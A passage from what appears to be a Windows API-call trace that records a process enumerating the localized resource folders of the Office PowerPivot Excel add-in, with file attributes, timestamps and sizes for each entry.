ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.252] FindNextFileW (in: hFindFile=0xb02dc8, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x11a4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.254] GetProcessHeap () returned 0xaf0000 [0281.254] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.255] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0281.255] GetProcessHeap () returned 0xaf0000 [0281.255] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0281.257] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0281.259] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.259] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x169d, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.260] GetProcessHeap () returned 0xaf0000 [0281.260] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.260] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0281.261] GetProcessHeap () returned 0xaf0000 [0281.261] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0281.261] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0281.261] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.261] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x10a6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.261] GetProcessHeap () returned 0xaf0000 [0281.261] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.261] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0281.262] GetProcessHeap () returned 0xaf0000 [0281.262] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0281.262] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0281.263] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.263] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.265] GetProcessHeap () returned 0xaf0000 [0281.265] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.265] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0281.265] GetProcessHeap () returned 0xaf0000 [0281.265] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0281.265] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0281.267] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.267] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1072, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.268] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0281.268] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6296213, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6296213, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x38ad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.Wizard.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0281.268] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61fe8c4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61fe8c4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61fe8c4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x14030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.BackEnd.resources.dll", cAlternateFileName="MI038C~1.DLL")) returned 1 [0281.268] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b15891, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b15891, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b3bafd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1fca98, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Excel.Common.FrontEnd.resources.dll", cAlternateFileName="MIF61E~1.DLL")) returned 1 [0281.268] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cd5a2f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cd5a2f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x4cd5a2f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3030, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Layout.resources.dll", cAlternateFileName="MI8E88~1.DLL")) returned 1 [0281.268] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf475131d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf475131d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1c038, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.XLHost.Modeler.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0281.268] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c20913, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c20913, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c20913, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.Interfaces.resources.dll", cAlternateFileName="MIE9BA~1.DLL")) returned 1 [0281.268] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6b3bafd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6b3bafd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6b3bafd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.DataWarehouse.resources.dll", cAlternateFileName="MI9A58~1.DLL")) returned 1 [0281.268] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc47ce76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc47ce76, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc5ae112, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x47068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Office.PowerPivot.ExcelAddIn.resources.dll", cAlternateFileName="MIB24E~1.DLL")) returned 1 [0281.268] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfbc70f7e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbc70f7e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbc97147, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x5278, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.DataExtensions.resources.dll", cAlternateFileName="MI1341~1.DLL")) returned 1 [0281.269] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf6d9d08d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf6d9d08d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x12060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.Diagnostics.resources.dll", cAlternateFileName="MI2EA0~1.DLL")) returned 1 [0281.269] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1480f75, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf158c060, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x19068, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.Common.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0281.269] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf755cb7d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf755cb7d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf755cb7d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x70060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.QueryDesigners.resources.dll", cAlternateFileName="MI63FB~1.DLL")) returned 1 [0281.269] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6c6cdcd, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6c6cdcd, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6c6cdcd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x15060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Common.resources.dll", cAlternateFileName="MI5C38~1.DLL")) returned 1 [0281.269] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf80d6078, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf80d6078, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf80d6078, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xaad0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.ReportDesign.Forms.resources.dll", cAlternateFileName="MI335D~1.DLL")) returned 1 [0281.269] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xffddb96c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffddb96c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffddb96c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x3e78, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.ReportingServices.RsClient.resources.dll", cAlternateFileName="MI5988~1.DLL")) returned 1 [0281.269] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x637c06e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x637c06e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x637c06e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xa060, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.SqlServer.Types.resources.dll", cAlternateFileName="MI5889~1.DLL")) returned 1 [0281.269] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x688d06d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 1 [0281.269] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x688d06d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x2e60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReportingServicesNativeClient.resources.dll", cAlternateFileName="REPORT~1.DLL")) returned 0 [0281.269] FindClose (in: hFindFile=0xb03208 | out: hFindFile=0xb03208) returned 1 [0281.270] GetProcessHeap () returned 0xaf0000 [0281.270] HeapFree (in: hHeap=0xaf0000, dwFlags=0x0, lpMem=0x3696268 | out: hHeap=0xaf0000) returned 1 [0281.271] FindNextFileW (in: hFindFile=0xb03148, lpFindFileData=0x2fcec58 | out: lpFindFileData=0x2fcec58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0281.271] GetProcessHeap () returned 0xaf0000 [0281.271] RtlAllocateHeap (HeapHandle=0xaf0000, Flags=0x0, Size=0x10000) returned 0x3696268 [0281.271] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\*", lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xb03208 [0281.272] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0281.272] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x16783027, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1135, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedStrings.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0281.272] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf158c060, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf16bd2da, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0xd040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.resources.dll", cAlternateFileName="MIE3DA~1.DLL")) returned 1 [0281.273] FindNextFileW (in: hFindFile=0xb03208, lpFindFileData=0x2fce9d0 | out: lpFindFileData=0x2fce9d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0194432, ftLastAccessTime.dwHighDateTime=0x1d327e7, 